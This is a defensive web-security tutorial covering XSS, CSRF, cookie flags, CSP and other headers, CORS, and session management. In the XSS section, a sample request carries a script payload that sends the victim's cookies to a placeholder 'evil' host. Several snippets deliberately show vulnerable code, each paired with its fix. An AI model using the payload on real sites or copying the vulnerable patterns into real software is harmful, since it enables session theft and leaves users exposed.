contentintech
Learn/cybersecurity/Web Security
Intermediate~24 min read

Web Security

How the web trust model works, common web vulnerabilities like XSS and CSRF, secure headers, cookies, and CORS.

XSSCSRFHeadersCookies

Web Security Fundamentals

Web security is about protecting applications, users, and data from abuse across the untrusted boundary between the browser and the server. This guide takes a defensive stance: it explains how the browser's trust model works, what the most common vulnerability classes look like, and — most importantly — how to prevent them. Offensive concepts are framed so you can recognize and remediate them, and practice safely in dedicated lab environments.

The Browser Trust Model & Same-Origin Policy

The browser is a hostile-input processing engine: it renders content from many origins simultaneously. The Same-Origin Policy (SOP) is the foundational security boundary that keeps one origin from reading another origin's data. An origin is the tuple of scheme + host + port.

URL compared to https://app.example.com/a Same origin? Why
https://app.example.com/bYesPath is not part of origin
http://app.example.comNoDifferent scheme
https://api.example.comNoDifferent host
https://app.example.com:8443NoDifferent port

SOP restricts scripted reads across origins, but it does not block cross-origin requests from being sent (that is why CSRF exists), nor does it sandbox content injected into your own origin (that is why XSS is so damaging). Defense-in-depth adds CORS, CSP, cookie flags, and framing controls on top of SOP.

HTTP Basics for Security

HTTP is stateless. State is layered on with cookies, tokens, and headers. A security review of any request should ask: what identity is being asserted, how is it transmitted, is the channel encrypted (HTTPS), and what does the response tell the browser to trust?

GET /account HTTP/1.1
Host: app.example.com
Cookie: session=eyJ...          # identity assertion
Origin: https://app.example.com # who initiated the request

HTTP/1.1 200 OK
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=63072000; includeSubDomains

Cross-Site Scripting (XSS)

XSS occurs when untrusted data is placed into a page such that the browser executes it as script within the victim's origin. Because it runs with the page's privileges, it can read the DOM, steal non-HttpOnly cookies, and perform authenticated actions.

Three Types

Type Where the payload lives Example vector
ReflectedIn the request, echoed into the immediate responseSearch term rendered without encoding
StoredPersisted server-side, served to many usersComment/profile field rendered raw
DOM-basedEntirely client-side, never touches the serverlocation.hash into innerHTML

Vulnerable Example

// VULNERABLE: user input concatenated into HTML
app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Results for ${q}</h1>`);
});
// Request /search?q=<script>document.location='//evil/'+document.cookie</script>
// executes in the victim's origin.

The Fix: Contextual Output Encoding + Auto-Escaping + CSP

// SECURE: let the templating engine auto-escape, never build HTML by hand.
// React, Angular, Vue, and server templates (EJS <%= %>, Handlebars) escape by default.
app.get('/search', (req, res) => {
  res.render('search', { q: req.query.q }); // engine HTML-encodes q
});

// Client-side: assign text, not markup.
el.textContent = userInput;      // safe
// el.innerHTML = userInput;     // dangerous

// If you must render user HTML, sanitize with an allowlist library:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userInput);

Encoding is context-sensitive

HTML-body, HTML-attribute, JavaScript, URL, and CSS contexts each need different encoding. Rely on a framework's context-aware escaping rather than a single home-grown "escape" function, and add a strong CSP as a second line of defense.

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user's browser into sending a state-changing request the user did not intend. It works because browsers automatically attach cookies to requests regardless of who initiated them. Defenses ensure the server can distinguish requests the user's own app made from cross-site forgeries.

Defense 1: SameSite Cookies

Setting SameSite=Lax (a modern browser default) stops cookies from being sent on most cross-site sub-requests. Use Strict for the most sensitive cookies.

Defense 2: Anti-CSRF Tokens

// Synchronizer token pattern: server issues an unpredictable token,
// the form submits it, the server validates it on every state change.
<form method="POST" action="/transfer">
  <input type="hidden" name="_csrf" value="{{csrfToken}}">
  ...
</form>

// For token-based APIs, prefer the Origin/Referer check + custom header
// (e.g. X-Requested-With) which cross-site forms cannot set.

Cookie Security Flags

Flag Effect Protects against
HttpOnlyBlocks JS access via document.cookieSession theft via XSS
SecureSent only over HTTPSNetwork eavesdropping
SameSiteLimits cross-site sending (Lax/Strict/None)CSRF
__Host- prefixRequires Secure, no Domain, path /Cookie fixation/subdomain overwrite

Security Response Headers

Header Example value Purpose
Content-Security-Policydefault-src 'self'; object-src 'none'Restrict script/resource sources; mitigate XSS
Strict-Transport-Securitymax-age=63072000; includeSubDomainsForce HTTPS, prevent downgrade
X-Content-Type-OptionsnosniffStop MIME sniffing
X-Frame-Options / frame-ancestorsDENY / frame-ancestors 'none'Clickjacking defense
Referrer-Policystrict-origin-when-cross-originLimit URL leakage in Referer

Content-Security-Policy Example

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  upgrade-insecure-requests

Prefer nonces or hashes over 'unsafe-inline'. Avoid 'unsafe-eval'. Roll out with Content-Security-Policy-Report-Only first to find breakage before enforcing.

Express + Helmet Snippet

import helmet from 'helmet';

app.use(helmet()); // sane defaults: HSTS, nosniff, frameguard, etc.

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc:  ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
    objectSrc:  ["'none'"],
    frameAncestors: ["'none'"],
  },
}));

CORS Done Safely

Cross-Origin Resource Sharing (CORS) relaxes SOP so a browser will let JavaScript read cross-origin responses when the server opts in. It is an authorization mechanism for the browser, not a firewall. The dangerous anti-pattern is reflecting the request Origin back while also allowing credentials.

// DANGEROUS: reflecting Origin + credentials = any site can read authed data
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');

// SAFE: strict allowlist, never a wildcard with credentials
const ALLOWED = new Set(['https://app.example.com']);
const origin = req.headers.origin;
if (ALLOWED.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Vary', 'Origin');
}

CORS gotcha

Access-Control-Allow-Origin: * cannot be combined with credentials, and CORS never authorizes anything server-side — the server still executed the request. Always keep real authorization checks in your handlers.

Clickjacking Defense

Clickjacking loads your site in an invisible iframe over attacker-controlled bait so users click things they cannot see. Defend with Content-Security-Policy: frame-ancestors 'none' (modern) plus X-Frame-Options: DENY (legacy fallback). Use SameSite cookies so framed sessions are not authenticated.

Secure Session Management

  1. Generate session IDs with a cryptographically secure random source; keep them long and opaque.
  2. Store them in HttpOnly; Secure; SameSite cookies, not in localStorage.
  3. Regenerate the session ID on privilege change (login, role elevation) to prevent session fixation.
  4. Enforce idle and absolute timeouts; invalidate server-side on logout.
  5. Bind sensitive actions to re-authentication or step-up MFA.

Practice Exercises

  1. In OWASP Juice Shop, find and then patch a stored/reflected XSS by adding output encoding or DOMPurify sanitization to the affected field.
  2. Add a nonce-based Content-Security-Policy to a local Express test app and verify inline scripts are blocked using the browser console, iterating from Report-Only to enforcing.
  3. Set HttpOnly, Secure, and SameSite flags on your test app's session cookie and confirm the flags in DevTools → Application → Cookies.
  4. Complete the CSRF lessons on PortSwigger Web Security Academy, then implement synchronizer tokens and SameSite cookies in a local app and test that forged cross-site POSTs fail.
  5. Configure CORS on a test API with a strict origin allowlist; use DevTools to confirm a disallowed origin cannot read the response while an allowed one can.
  6. Use DVWA or WebGoat to observe missing security headers, then use the Network tab in browser DevTools to inspect and verify each header (CSP, HSTS, X-Content-Type-Options, frame-ancestors) after remediation.

Section navigation